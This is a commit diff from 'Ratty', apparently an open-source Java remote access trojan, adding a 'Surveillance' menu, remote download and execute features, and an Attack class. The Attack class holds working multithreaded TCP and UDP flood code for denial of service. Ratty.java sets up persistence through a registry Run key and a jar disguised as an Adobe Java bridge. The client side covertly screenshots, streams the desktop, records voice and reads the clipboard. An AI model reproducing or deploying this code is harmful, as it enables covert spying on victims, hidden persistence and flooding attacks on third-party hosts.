Browse Source

Major changes

GUI changes
New menu
Cleanups, fixes
Started to implement attack
master
Sogomn 9 years ago
parent
commit
e71c0df8bb
  1. BIN
      Ratty/res/gui_category_icons.png
  2. 11
      Ratty/res/language/lang.properties
  3. 2
      Ratty/res/language/lang_bsq.properties
  4. 11
      Ratty/res/language/lang_de.properties
  5. 11
      Ratty/res/language/lang_en.properties
  6. 2
      Ratty/res/language/lang_es.properties
  7. 2
      Ratty/res/language/lang_nl.properties
  8. 2
      Ratty/res/language/lang_ru.properties
  9. 2
      Ratty/res/language/lang_tr.properties
  10. 2
      Ratty/res/language/lang_uk.properties
  11. BIN
      Ratty/res/lato.ttf
  12. 13
      Ratty/src/de/sogomn/rat/GUISettings.java
  13. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  14. 92
      Ratty/src/de/sogomn/rat/attack/Attack.java
  15. 81
      Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java
  16. 6
      Ratty/src/de/sogomn/rat/packet/PingPacket.java
  17. 4
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  18. 3
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  19. 100
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  20. 23
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/gui_category_icons.png

After

Width: 64  |  Height: 16  |  Size: 363 B

11
Ratty/res/language/lang.properties

@ -7,7 +7,10 @@ server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.yes=Yes
server.no=Cancel
server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
@ -15,6 +18,11 @@ builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
builder.error=Something went wrong.
menu.file_management=File management
menu.surveillance=Surveillance
menu.utility=Utility
menu.other=Other
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
@ -34,7 +42,6 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.change_volume=Change ping volume
column.name=Name
column.location=Location

2
Ratty/res/language/lang_bsq.properties

@ -7,7 +7,7 @@ server.port_error=Imy Tri'a'am.
server.free_warning=Lmbona yuwe connect yuw reyt device jipon.\r\n\
Kimu?
server.yes=Yime
server.no=Yuwe
server.cancel=Yuwe
server.upload_execute_warning=File fi qo'wehn pol Imy file.\r\n\
Kimu?

11
Ratty/res/language/lang_de.properties

@ -7,7 +7,10 @@ server.port_error=Ung
server.free_warning=Der Client wird bis zum Neustart des Gerätes nicht erreichbar sein.\r\n\
Fortfahren?
server.yes=Ja
server.no=Abbrechen
server.cancel=Abbrechen
server.tcp=TCP
server.udp=UDP
server.attack_message=Welches Protokoll?
server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\
Fortfahren?
@ -15,6 +18,11 @@ builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port?
builder.error=Etwas ist schiefgelaufen.
menu.file_management=Dateiverwaltung
menu.surveillance=Überwachung
menu.utility=Werkzeuge
menu.other=Anderes
action.popup=Popup öffnen
action.screenshot=Screenshot machen
action.desktop=Desktopstream an/aus
@ -34,7 +42,6 @@ action.execute=Datei ausf
action.delete=Datei löschen
action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen
action.change_volume=Pinglautstärke ändern
column.name=Name
column.location=Ort

11
Ratty/res/language/lang_en.properties

@ -7,7 +7,10 @@ server.port_error=Invalid port.
server.free_warning=The client won't be available until the device restarts.\r\n\
Continue?
server.yes=Yes
server.no=Cancel
server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
@ -15,6 +18,11 @@ builder.address_question=Which address should the client connect to?
builder.port_question=Which port?
builder.error=Something went wrong.
menu.file_management=File management
menu.surveillance=Surveillance
menu.utility=Utility
menu.other=Other
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
@ -34,7 +42,6 @@ action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.change_volume=Change ping volume
column.name=Name
column.location=Location

2
Ratty/res/language/lang_es.properties

@ -7,7 +7,7 @@ server.port_error=Puerto invalido.
server.free_warning=¿El cliente no sera habilitado de nuevo hasta un reinicio.\r\n\
Continuas?
server.yes=Si
server.no=Cancelar
server.cancel=Cancelar
builder.address_question=¿A que host quieres que se conecte?
builder.port_question=¿Que puerto?

2
Ratty/res/language/lang_nl.properties

@ -7,7 +7,7 @@ server.port_error=Invaliede poort
server.free_warning=De client zal pas bruikbaar zijn na het toestel herstart.\r\n\
Doorgaan?
server.yes=Ja
server.no=Aborteer
server.cancel=Aborteer
builder.address_question=Welk adres zou de client aan moete verbinden?
builder.port_question=Welke poort?

2
Ratty/res/language/lang_ru.properties

@ -7,7 +7,7 @@ server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\
server.free_warning=\u041A\u043B\u0438\u0435\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043E\u0441\u0442\u0443\u043F\u0435\u043D \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043A\u0438 \u0443\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\
\u041F\u0440\u043E\u0434\u043E\u043B\u0436\u0430\u0442\u044C?
server.yes=\u0414\u0430
server.no=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C
server.cancel=\u041E\u0442\u043C\u0435\u043D\u0438\u0442\u044C
builder.address_question=\u0414\u043E \u041A\u0430\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043E\u043B\u0436\u0435\u043D \u043A\u043B\u0438\u0435\u043D\u0442 \u043F\u043E\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u044C\u0441\u044F?
builder.port_question=\u041A\u0430\u043A\u043E\u0439 \u043F\u043E\u0440\u0442?

2
Ratty/res/language/lang_tr.properties

@ -6,7 +6,7 @@ server.port_question=Server hangi porta ba\u011Flansin?
server.port_error=Geçersiz port.
server.free_warning=Cihaz tekrar ba\u015Flatmadan bilgisayarlar ba\u011Flanmas, devam?
server.yes=Evet
server.no=Iptal
server.cancel=Iptal
builder.address_question=Client hangi adres'e ba\u011Flansin?
builder.port_question=Hangi port?

2
Ratty/res/language/lang_uk.properties

@ -7,7 +7,7 @@ server.port_error=\u041D\u0435\u0434\u0456\u0439\u0441\u043D\u0438\u0439 \u043F\
server.free_warning= \u041A\u043B\u0456\u0454\u043D\u0442 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0438\u0439 \u0434\u043E \u043F\u0435\u0440\u0435\u0437\u0430\u043F\u0443\u0441\u043A\u0443 \u043F\u0440\u0438\u0441\u0442\u0440\u043E\u0439\u0441\u0442\u0432\u0430.\r\n\
\u041F\u0440\u043E\u0434\u043E\u0432\u0436\u0438\u0442\u0438?
server.yes=\u0422\u0430\u043A
server.no=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438
server.cancel=\u0412\u0456\u0434\u043C\u0456\u043D\u0438\u0442\u0438
builder.address_question=\u0414\u043E \u044F\u043A\u043E\u0433\u043E \u0430\u0434\u0440\u0435\u0441\u0443 \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043A\u043B\u0456\u0454\u043D\u0442 \u043F\u0456\u0434\u043A\u043B\u044E\u0447\u0438\u0442\u0438\u0441\u044F?
builder.port_question=\u042F\u043A\u0438\u0439 \u043F\u043E\u0440\u0442?

BIN
Ratty/res/lato.ttf

13
Ratty/src/de/sogomn/rat/GUISettings.java

@ -89,7 +89,6 @@ final class GUISettings {
public static void setDefaults(final UIDefaults defaults) {
defaults.put("nimbusBase", BASE);
defaults.put("control", BACKGROUND);
defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("Button[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("Button[Default].backgroundPainter", BASE_PAINTER);
@ -118,6 +117,7 @@ final class GUISettings {
defaults.put("ToggleButton[Focused+Pressed+Selected].backgroundPainter", DARKER_PAINTER);
defaults.put("Table.background", new ColorUIResource(ALTERNATIVE));
defaults.put("Table.gridColor", DARKER);
defaults.put("Table:\"Table.cellRenderer\".background", ALTERNATIVE);
defaults.put("Table.alternateRowColor", ALTERNATIVE);
defaults.put("Table[Enabled+Selected].textBackground", SELECTION);
@ -128,16 +128,11 @@ final class GUISettings {
defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused].backgroundPainter", BASE_PAINTER);
defaults.put("TableHeader:\"TableHeader.renderer\"[Enabled+Focused+Sorted].backgroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:ScrollBarTrack[Enabled].backgroundPainter", DARKER_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[Enabled].backgroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[MouseOver].backgroundPainter", BRIGHTER_PAINTER);
// defaults.put("ScrollBar:ScrollBarThumb[Pressed].backgroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[Enabled].foregroundPainter", BASE_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[MouseOver].foregroundPainter", BRIGHTER_PAINTER);
// defaults.put("ScrollBar:\"ScrollBar.button\"[Pressed].foregroundPainter", BASE_PAINTER);
defaults.put("Menu.background", BASE);
defaults.put("Menu[Enabled+Selected].backgroundPainter", SELECTION_PAINTER);
defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER);
defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER);
defaults.put("Tree:TreeCell[Enabled+Selected].backgroundPainter", SELECTION_PAINTER);
defaults.put("Tree:TreeCell[Focused+Selected].backgroundPainter", SELECTION_PAINTER);

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.14";
public static final String VERSION = "1.15";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
@ -31,7 +31,6 @@ public final class Ratty {
private static boolean client;
private static final int CONNECTION_INTERVAL = 5000;
private static final int MAX_PORT = 65535;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar";
private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
@ -90,7 +89,8 @@ public final class Ratty {
try {
final int port = Integer.parseInt(input);
if (port < 0 || port > MAX_PORT) {
/*65535 = Max port*/
if (port < 0 || port > 65535) {
return -1;
}

92
Ratty/src/de/sogomn/rat/attack/Attack.java

@ -0,0 +1,92 @@
package de.sogomn.rat.attack;
import java.io.IOException;
import java.io.OutputStream;
import java.net.BindException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetSocketAddress;
import java.net.Socket;
public final class Attack {
private static final int TCP_INTERVAL = 1;
private static final int UDP_INTERVAL = 150;
private Attack() {
//...
}
public static void launchTcpWave(final String address, final int port, final int threads) {
final Runnable runnable = () -> {
try {
final Socket socket = new Socket(address, port);
final OutputStream out = socket.getOutputStream();
while (socket.isConnected() && !socket.isClosed()) {
final byte[] data = new byte[1];
out.write(data);
out.flush();
Thread.sleep(TCP_INTERVAL);
}
out.close();
socket.close();
} catch (final InterruptedException ex) {
ex.printStackTrace();
} catch (final IOException ex) {
System.err.println(ex.getMessage());
}
};
for (int i = 0; i < threads; i++) {
final Thread thread = new Thread(runnable);
thread.start();
}
}
public static void launchUdpWave(final String address, final int threads) {
final Runnable runnable = () -> {
/*65535 = Max port*/
final int port = (int)(Math.random() * 65534) + 1;
final InetSocketAddress socketAddress = new InetSocketAddress(address, port);
try {
final DatagramSocket socket = new DatagramSocket();
final byte[] data = {1};
final DatagramPacket packet = new DatagramPacket(data, data.length, socketAddress);
socket.send(packet);
socket.close();
} catch (final BindException ex) {
System.err.println(ex.getMessage());
} catch (final IOException ex) {
ex.printStackTrace();
}
};
for (int i = 0; i < threads; i++) {
final Thread thread = new Thread(runnable);
thread.start();
}
}
public static void launchUdpFlood(final String address, final int milliseconds) {
final long time = System.currentTimeMillis();
while (System.currentTimeMillis() - time < milliseconds) {
launchUdpWave(address, 1);
try {
Thread.sleep(UDP_INTERVAL);
} catch (final InterruptedException ex) {
ex.printStackTrace();
}
}
}
}

81
Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java

@ -0,0 +1,81 @@
package de.sogomn.rat.packet;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.List;
import java.util.Map;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection;
public final class DownloadUrlPacket implements IPacket {
private String address, directoryPath;
private static final String HTTP_PREFIX = "http://";
private static final String FILE_SEPARATOR = "/";
public DownloadUrlPacket(final String address, final String directoryPath) {
this.directoryPath = directoryPath;
final boolean hasPrefix = address.startsWith(HTTP_PREFIX);
if (hasPrefix) {
this.address = address;
} else {
this.address = HTTP_PREFIX + address;
}
}
private byte[] readData(final String address) throws IOException {
final URL url = new URL(address);
final HttpURLConnection con = (HttpURLConnection)url.openConnection();
final Map<String, List<String>> headers = con.getHeaderFields();
final InputStream in = con.getInputStream();
final int length = in.available();
final byte[] data = new byte[length];
headers.keySet().stream().forEach(key -> {
final List<String> values = headers.get(key);
System.out.print(key + ": ");
for (final String value : values) {
System.out.print(value + " ");
}
System.out.println();
});
in.read(data);
return data;
}
@Override
public void send(final ActiveConnection connection) {
connection.writeUTF(address);
connection.writeUTF(directoryPath);
}
@Override
public void receive(final ActiveConnection connection) {
address = connection.readUTF();
directoryPath = connection.readUTF();
}
@Override
public void execute(final ActiveConnection connection) {
try {
final String path = directoryPath + FILE_SEPARATOR + "";
final byte[] data = readData(address);
FileUtils.writeData(path, data);
} catch (final IOException ex) {
ex.printStackTrace();
}
}
}

6
Ratty/src/de/sogomn/rat/packet/PingPacket.java

@ -24,14 +24,12 @@ public final class PingPacket extends AbstractPingPongPacket {
@Override
protected void receiveRequest(final ActiveConnection connection) {
final long time = connection.readLong();
milliseconds = System.currentTimeMillis() - time;
milliseconds = connection.readLong();
}
@Override
protected void receiveData(final ActiveConnection connection) {
milliseconds = connection.readLong();
milliseconds = System.currentTimeMillis() - connection.readLong();
}
@Override

4
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -15,8 +15,8 @@ public final class UploadFilePacket implements IPacket {
private static final String FILE_SEPARATOR = "/";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
public UploadFilePacket(final String filePath, final String folderPath) {
this.directoryPath = folderPath;
public UploadFilePacket(final String filePath, final String directoryPath) {
this.directoryPath = directoryPath;
final File file = new File(filePath);

3
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -6,7 +6,6 @@ import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PingPacket;
public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver {
@ -19,12 +18,10 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final InformationPacket packet = new InformationPacket();
final PingPacket ping = new PingPacket();
connection.setObserver(this);
connection.start();
connection.addPacket(packet);
connection.addPacket(ping);
connections.add(connection);
}

100
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -12,13 +12,17 @@ import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
@ -28,6 +32,7 @@ import javax.swing.JTable;
import javax.swing.ListSelectionModel;
import javax.swing.filechooser.FileFilter;
import javax.swing.filechooser.FileNameExtensionFilter;
import javax.swing.table.JTableHeader;
import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer;
@ -56,10 +61,21 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 128, 128);
private static final BufferedImage GUI_ICON_HUGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 256, 256);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE, GUI_ICON_HUGE);
private static final SpriteSheet CATEGORY_SHEET = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_category_icons.png"), 2), 16 * 2, 16 * 2);
private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(0);
private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(1);
private static final BufferedImage UTILITY_ICON = CATEGORY_SHEET.getSprite(2);
private static final BufferedImage OTHER_ICON = CATEGORY_SHEET.getSprite(3);
private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
private static final String SURVEILLANCE = LANGUAGE.getString("menu.surveillance");
private static final String UTILITY = LANGUAGE.getString("menu.utility");
private static final String OTHER = LANGUAGE.getString("menu.other");
private static final HashMap<String, BufferedImage> FILE_MANAGEMENT_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> SURVEILLANCE_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> UTILITY_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> OTHER_ITEM_DATA = new HashMap<String, BufferedImage>();
public static final String POPUP = LANGUAGE.getString("action.popup");
public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot");
@ -74,21 +90,22 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String FREE = LANGUAGE.getString("action.free");
public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String CHANGE_VOLUME = LANGUAGE.getString("action.change_volume");
public static final String[] COMMANDS = {
POPUP,
SCREENSHOT,
DESKTOP,
VOICE,
FILES,
COMMAND,
CLIPBOARD,
AUDIO,
WEBSITE,
UPLOAD_EXECUTE,
FREE
};
public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE);
static {
FILE_MANAGEMENT_ITEM_DATA.put(FILES, MENU_ICONS[4]);
FILE_MANAGEMENT_ITEM_DATA.put(UPLOAD_EXECUTE, MENU_ICONS[9]);
SURVEILLANCE_ITEM_DATA.put(SCREENSHOT, MENU_ICONS[1]);
SURVEILLANCE_ITEM_DATA.put(DESKTOP, MENU_ICONS[2]);
SURVEILLANCE_ITEM_DATA.put(VOICE, MENU_ICONS[3]);
SURVEILLANCE_ITEM_DATA.put(CLIPBOARD, MENU_ICONS[6]);
UTILITY_ITEM_DATA.put(POPUP, MENU_ICONS[0]);
UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]);
UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]);
UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]);
OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]);
}
public RattyGui() {
frame = new JFrame(TITLE);
@ -101,13 +118,6 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
attack = new JButton(ATTACK);
fileChooser = new JFileChooser();
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
final BufferedImage image = MENU_ICONS[i];
addMenuItem(command, image);
}
final Container contentPane = frame.getContentPane();
final MouseAdapter tableMouseAdapter = new MouseAdapter() {
@Override
@ -120,6 +130,13 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
};
final String currentPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentPath);
final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA);
final JMenu surveillance = createMenu(SURVEILLANCE, SURVEILLANCE_ICON, SURVEILLANCE_ITEM_DATA);
final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA);
final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA);
final JTableHeader tableHeader = table.getTableHeader();
tableHeader.setReorderingAllowed(false);
attack.setActionCommand(ATTACK);
attack.addActionListener(this::actionPerformed);
@ -127,12 +144,16 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
build.addActionListener(this::actionPerformed);
menuBar.add(build);
menuBar.add(attack);
menu.add(fileManagement);
menu.add(surveillance);
menu.add(utility);
menu.add(other);
scrollPane.setBorder(null);
table.setComponentPopupMenu(menu);
table.addMouseListener(tableMouseAdapter);
table.setModel(tableModel);
table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
table.setShowHorizontalLines(true);
table.setShowGrid(true);
fileChooser.setCurrentDirectory(currentDirectory);
contentPane.add(scrollPane, BorderLayout.CENTER);
@ -147,7 +168,24 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
frame.requestFocus();
}
private void addMenuItem(final String name, final BufferedImage image) {
private JMenu createMenu(final String name, final BufferedImage image, final Map<String, BufferedImage> data) {
final JMenu menu = new JMenu(name);
final ImageIcon icon = new ImageIcon(image);
final Set<String> keySet = data.keySet();
menu.setIcon(icon);
for (final String key : keySet) {
final BufferedImage itemImage = data.get(key);
final JMenuItem item = createMenuItem(key, itemImage);
menu.add(item);
}
return menu;
}
private JMenuItem createMenuItem(final String name, final BufferedImage image) {
final JMenuItem item = new JMenuItem(name);
final ImageIcon icon = new ImageIcon(image);
@ -155,7 +193,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
item.addActionListener(this::actionPerformed);
item.setIcon(icon);
menu.add(item);
return item;
}
private void actionPerformed(final ActionEvent a) {
@ -198,6 +236,12 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
dialog.setVisible(true);
}
public int showOptionDialog(final String message, final String... options) {
final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
return input;
}
public File getFile(final String type) {
final FileFilter filter;

23
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -8,6 +8,8 @@ import java.io.IOException;
import java.util.HashMap;
import java.util.Set;
import javax.swing.JOptionPane;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder;
@ -50,6 +52,7 @@ public final class RattyGuiController extends AbstractRattyController implements
"gui_tree_icons.png",
"gui_icon.png",
"gui_menu_icons.png",
"gui_category_icons.png",
"language/lang_bsq.properties",
"language/lang_de.properties",
"language/lang_en.properties",
@ -62,7 +65,10 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
private static final String OPTION_YES = LANGUAGE.getString("server.yes");
private static final String OPTION_NO = LANGUAGE.getString("server.no");
private static final String OPTION_CANCEL = LANGUAGE.getString("server.cancel");
private static final String OPTION_TCP = LANGUAGE.getString("server.tcp");
private static final String OPTION_UDP = LANGUAGE.getString("server.udp");
private static final String ATTACK_MESSAGE = LANGUAGE.getString("server.attack_message");
private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error");
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
@ -179,7 +185,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private FreePacket createFreePacket() {
final boolean accepted = gui.showWarning(FREE_WARNING, OPTION_YES, OPTION_NO);
final boolean accepted = gui.showWarning(FREE_WARNING, OPTION_YES, OPTION_CANCEL);
if (accepted) {
final FreePacket packet = new FreePacket();
@ -252,11 +258,17 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private void launchAttack() {
//...
final int input = gui.showOptionDialog(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL);
if (input == JOptionPane.YES_OPTION) {
//TCP flood packet
} else if (input == JOptionPane.NO_OPTION) {
//UDP flood packet
}
}
private void uploadExecute(final ServerClient client) {
final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_NO);
final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_CANCEL);
if (!accepted) {
return;
@ -508,10 +520,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final IPacket packet = createPacket(client, command);
if (packet != null) {
final PingPacket ping = new PingPacket();
client.connection.addPacket(packet);
client.connection.addPacket(ping);
}
handleCommand(client, command);

Loading…
Cancel
Save